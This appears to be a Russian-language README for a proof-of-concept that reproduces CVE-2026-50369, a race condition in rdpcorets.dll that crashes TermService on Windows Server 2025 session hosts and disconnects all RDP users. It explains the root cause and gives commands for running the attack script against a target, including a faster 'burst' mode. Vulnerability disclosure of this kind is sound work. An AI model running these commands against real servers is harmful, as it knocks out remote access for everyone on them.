
PoC-репродусер для CVE-2026-50369 — состояния гонки TOCTOU в rdpcorets.dll на RDS Session Hosts под управлением Windows Server 2025, вызывающей DoS TermService через разрыв RDP-сессии.
воспроизведение состояния гонки TOCTOU в rdpcorets.dll!CRdpPipeGfxPlugin::Enable на узлах сеансов RDS Windows Server 2025.
я сообщил об этом как о DoS; этот путь выполнения, по-видимому, также каким-то образом позволяет EoP. данный воспроизводитель является PoC только для пути DoS.
Enable дважды читает указатель COM-интерфейса по адресу this+0x60 без синхронизации. TerminateInstance очищает то же поле вне области своей критической секции. Оба выполняются одновременно в пуле потоков NT через рабочие элементы прибытия и удаления PnP-устройства. Второе чтение разыменовывает null → нарушение доступа → сбой TermService → все активные сеансы RDP отключаются.
# install dependencies (Debian/Ubuntu)
sudo apt install -y freerdp3-x11 xvfb python3 # or freerdp2-x11
# create credentials file
echo -e "user1:pass1\nuser2:pass2\nuser3:pass3" > credentials.txt
# standard mode
python3 rdp-chaos.py --server <target> --creds credentials.txt
# burst mode (faster trigger)
python3 rdp-chaos.py --server <target> --creds credentials.txt \
--burst --burst-count 16 --burst-kill-hold 0.1 --burst-race 0.030